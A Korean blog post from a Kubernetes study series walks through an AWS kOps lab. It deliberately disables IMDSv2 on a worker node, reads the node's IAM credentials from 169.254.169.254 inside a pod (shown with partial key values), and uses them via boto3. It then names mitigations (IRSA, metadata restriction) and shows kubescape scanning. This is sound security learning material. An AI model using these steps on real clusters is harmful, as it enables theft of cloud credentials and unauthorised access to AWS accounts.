brunch

You can make anything
by writing

C.S.Lewis

by Master Seo May 03. 2023

쿠버4탄-10. K8S- 보안, 메타데이터

10/11

본 내용은 CloudNet 에서 진행하는 주말 스터디에 참여하여 해당 내용을 참고로 작성되었습니다.
https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863  



<1> 쿠버네티스 한번에 배포

<2>  파드에서 EC2 메타데이터 사용 가능 확인

<3>  파드(컨테이너) 탈취 후 EC2 메타데이터의 IAM Role 토큰 정보를 활용해 python boto3를 통해 SDK로 AWS 서비스 강제 사용

<4>  AWS IRSA :  파드별 IAM Role 부여 - kOps

<5> kubescape로 취약점 점검

<6> 파드/컨테이너 보안 컨텍스트

<7> 정리 



<1> 쿠버네티스 한번에 배포


1

ec2 , work node는  t3.medium 로 생성  (비용 적게 나오게 하기 위해)


준비 ?

ec2 키페어 

access-key 

secret key

ClusterBaseName  도메인명 입력  masterseo1.link

S3StateStore = s3 버킷  sec-aws-s3-1



CloudFormation으로 한번에 구축해보자.

콘솔에서 사용

oneclick


(15분 걸림)


2

모니터링 

콘솔에서 EC2 > 인스턴스가 4대 만들어 지는지 확인하자. 명령 ec2 1 , master1,node1,node2

k ns default



3

워커 노드 1대 EC2 메타데이터(IMDSv2)보안 제거

보안에 취약해짐.

// 토큰 있어야 하는것을 지우는 것이다.


#

kops edit ig nodes-ap-northeast-2a

---

# 아래 3줄 제거

spec:

  instanceMetadata:

    httpPutResponseHopLimit: 1

    httpTokens: required

---


(적용 5분 걸림)

# 업데이트 적용 : 노드1대 롤링업데이트

kops update cluster --yes && echo && sleep 3 && kops rolling-update cluster --yes





<2>  파드에서 EC2 메타데이터 사용 가능 확인


1

다른 터미널에서

watch -d kubectl get pods


2

# netshoot-pod 생성


cat <<EOF | kubectl create -f -

apiVersion: apps/v1

kind: Deployment

metadata:

  name: netshoot-pod

spec:

  replicas: 2

  selector:

    matchLabels:

      app: netshoot-pod

  template:

    metadata:

      labels:

        app: netshoot-pod

    spec:

      containers:

      - name: netshoot-pod

        image: nicolaka/netshoot

        command: ["tail"]

        args: ["-f", "/dev/null"]

      terminationGracePeriodSeconds: 0

EOF


3

# 파드 이름 변수 지정

PODNAME1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].metadata.name})

PODNAME2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].metadata.name})


4

# EC2 메타데이터 정보 확인

kubectl exec -it $PODNAME1 -- curl 169.254.169.254 ;echo

kubectl exec -it $PODNAME2 -- curl 169.254.169.254 ;echo



1번은 메타 정보가 나옴 - 취약함.


(masterseo1:default) [root@kops-ec2 ~]# kubectl exec -it $PODNAME1 -- curl 169.254.169.254 ;echo

1.0

2007-01-19

2007-03-01

2007-08-29

2007-10-10

2007-12-15

2008-02-01

2008-09-01

2009-04-04

2011-01-01

2011-05-01

2012-01-12

2014-02-25

2014-11-05

2015-10-20

2016-04-19



kubectl exec -it $PODNAME2 -- curl 169.254.169.254 ;echo

안나옴.



5

# 파드1에서 EC2 메타데이터 정보 확인

kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest ;echo

------------

dynamic

meta-data

user-data


kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/ ;echo



kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq


(masterseo1:default) [root@kops-ec2 ~]# kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq

{

  "Code": "Success",

  "LastUpdated": "2023-05-03T09:33:37Z",

  "Type": "AWS-HMAC",

  "AccessKeyId": "ASGPGP6",

  "SecretAccessKey": "PQCC8kkG10XxTgHu",

  "Token": "IQoJb3JpZ2luXCcGuwYOzGgjzf3g2mtNdMqjk2SCaOech5emM8a+GPnWBgi8up060gdJ2z7+P9gwrcyUq1SAh7toz6AuH7Kxo6gxsEb5U/CAspVndKxw=",

  "Expiration": "2023-05-03T16:08:34Z"

// access key, secet key 다 나와 버림.   "Expiration": "2023-05-03T16:08:34Z" 시간 까지 사용가능함. - -



6

# 파드2에서 EC2 메타데이터 정보 확인

kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest ;echo

kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/ ;echo

kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq

// 안나옴



7

메타 데이터 정보에 Access, secret key가 있다.

워커 노드에 할당된 IAM 권한을 탈취 당한다.


8

 k delete deployment.apps/netshoot-pod






<3>  파드(컨테이너) 탈취 후 EC2 메타데이터의 IAM Role 토큰 정보를 활용해 python boto3를 통해 SDK로 AWS 서비스 강제 사용


https://boto3.amazonaws.com/v1/documentation/api/latest/guide/ec2-example-managing-instances.html


https://velog.io/@xgro/pkos-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-%EC%8A%A4%ED%84%B0%EB%94%94-7%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C#-%EA%B2%B0%EA%B3%BC


1

# boto3 사용을 위한 파드 생성


cat <<EOF | kubectl create -f -

apiVersion: apps/v1

kind: Deployment

metadata:

  name: boto3-pod

spec:

  replicas: 2

  selector:

    matchLabels:

      app: boto3

  template:

    metadata:

      labels:

        app: boto3

    spec:

      containers:

      - name: boto3

        image: jpbarto/boto3

        command: ["tail"]

        args: ["-f", "/dev/null"]

      terminationGracePeriodSeconds: 0

EOF


# 파드 이름 변수 지정

PODNAME1=$(kubectl get pod -l app=boto3 -o jsonpath={.items[0].metadata.name})

PODNAME2=$(kubectl get pod -l app=boto3 -o jsonpath={.items[1].metadata.name})



2

# 파드1에서 boto3 사용

kubectl exec -it $PODNAME1 -- sh

------------

cat <<EOF> ec2.py

import boto3


ec2 = boto3.client('ec2', region_name = 'ap-northeast-2')

response = ec2.describe_instances()

print(response)

EOF


python ec2.py  # aws ec2 describe-vpcs

exit

------------



3

# 파드2에서 boto3 사용

kubectl exec -it $PODNAME2 -- sh

------------

cat <<EOF> ec2.py

import boto3


ec2 = boto3.client('ec2', region_name = 'ap-northeast-2')

response = ec2.describe_instances()

print(response)

EOF


python ec2.py  

# aws ec2 describe-vpcs


exit

------------



4

# 실습 완료 후 삭제

kubectl delete deploy boto3-pod



대응 방안 : EC2 메타데이터 접속 제한 or AWS IRSA 사용





<4>  AWS IRSA :  파드별 IAM Role 부여 - kOps


1

https://tech.devsisters.com/posts/pod-iam-role/


2

https://kops.sigs.k8s.io/cluster_spec/#service-account-issuer-discovery-and-aws-iam-roles-for-service-accounts-irsa


3

참고

https://malwareanalysis.tistory.com/578


https://nyoung08.github.io/study/aws/2023/04/06/aws-%EA%B6%8C%ED%95%9C%ED%9B%94%EC%B9%98%EA%B8%B0/





<5> kubescape로 취약점 점검




1

소개 및 사용 : 보안 권고 사항 기반 현재 쿠버네티스 클러스터(YAML, Helm chart)의 취약점을 점검

https://github.com/kubescape/kubescape/blob/master/docs/architecture.md


https://github.com/kubescape/kubescape



2

# 설치

curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash


# Download all artifacts and save them in the default path (~/.kubescape)

kubescape download artifacts

tree ~/.kubescape/

cat ~/.kubescape/attack-tracks.json | jq


# 제공하는 보안 프레임워크 확인

kubescape list frameworks --format json | jq '.[]'

"AllControls"

"ArmoBest"

"DevOpsBest"

"MITRE"

"NSA"

"cis-eks-t1.2.0"

"cis-v1.23-t1.0.1"


3

# 제공하는 통제 정책 확인

kubescape list controls



4

# 모니터링

watch kubectl get pod -A


5

# 클러스터 스캔

# Deploy Kubescape host-sensor daemonset in the scanned cluster. Deleting it right after we collecting the data. 

# Required to collect valuable data from cluster nodes for certain controls. 

# Yaml file: https://github.com/kubescape/kubescape/blob/master/core/pkg/hostsensorutils/hostsensor.yaml

kubescape scan --help



kubescape scan --enable-host-scan --verbose




6

Prometheus Exporter 와 연계해 사용가능하다.


https://hub.armosec.io/docs/prometheus-exporter


https://github.com/dwertent/kubescape/blob/master/httphandler/examples/prometheus/grafana-kubescape-dashboard.json






<6> 파드/컨테이너 보안 컨텍스트


https://github.com/dwertent/kubescape/blob/master/httphandler/examples/prometheus/grafana-kubescape-dashboard.json


http://www.yes24.com/product/goods/102847901





<7> 정리 


EC2 메타 데이터 보안 취약점과 조치법을 알아보았다.

Kubescape로 취약점 점검법을 알아보았다.

파드/컨테이너 보안에 대해 이해하자.




다음은 보안 점검 툴


https://brunch.co.kr/@topasvga/3222



전체 보기

https://brunch.co.kr/@topasvga/3144

감사합니다.

브런치는 최신 브라우저에 최적화 되어있습니다. IE chrome safari